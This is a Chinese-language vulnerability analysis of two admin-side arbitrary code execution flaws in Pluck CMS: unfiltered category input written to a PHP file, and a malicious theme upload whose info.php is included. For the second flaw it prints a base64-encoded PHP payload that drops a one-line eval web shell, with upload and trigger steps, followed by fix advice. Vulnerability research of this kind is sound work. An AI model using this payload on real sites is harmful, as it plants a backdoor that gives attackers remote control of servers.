Pluck CMS后台另两处任意代码执行
字数 987 2025-08-26 22:11:28
Pluck CMS后台两处任意代码执行漏洞分析
漏洞概述
本文档详细分析Pluck CMS后台存在的两处任意代码执行漏洞,包括漏洞原理、利用方法和修复建议。
第一处漏洞:过滤不严导致单引号逃逸
漏洞位置
function.php文件中的blog_save_post()函数
漏洞分析
- 函数参数中
$category变量未经过滤直接存入$data数组 - 其他变量如
$title和$content都经过了sanitize或sanitizePageContent过滤 $post_time不可控,$category可控- 最终数据通过
save_file()函数保存到.php文件中
漏洞利用
- 构造恶意
$category参数,包含PHP代码 - 当该数据被写入PHP文件并包含执行时,可实现代码执行
利用条件
需要后台权限,能够访问博客文章编辑功能
第二处漏洞:安装模板+文件包含导致任意命令执行
漏洞位置
- 主题上传功能
data/inc/theme.php和functions.all.php中的主题处理逻辑
漏洞分析
- 系统允许上传ZIP格式的主题包
- 上传的主题会被解压到
data/themes/目录 - 系统会遍历
data/themes/下所有主题目录,包含其中的info.php文件 info.php内容完全可控,导致任意代码执行
漏洞利用步骤
- 准备恶意
info.php文件,内容为:
<?php
file_put_contents('x.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ21yNiddKTs/Pg=='));
?>
- 将
info.php打包为shell.zip - 在后台上传并安装该主题
- 访问主题页面触发文件包含
- 系统根目录下会生成一句话木马
x.php,密码为mr6
利用条件
需要后台权限,能够访问主题管理功能
修复建议
第一处漏洞修复
- 对
$category参数进行严格过滤 - 使用
htmlspecialchars或类似函数处理用户输入 - 避免将未过滤的用户输入直接写入可执行文件
第二处漏洞修复
- 对上传的ZIP文件进行严格校验
- 限制
info.php文件的执行权限 - 对包含的文件路径进行白名单校验
- 禁止包含用户上传的文件
总结
这两处漏洞都要求攻击者具有后台权限,属于后台任意代码执行漏洞。开发人员应当对所有用户输入进行严格过滤,特别是那些最终会被写入可执行文件或包含执行的输入。同时,文件上传功能应当有更严格的限制和检查机制。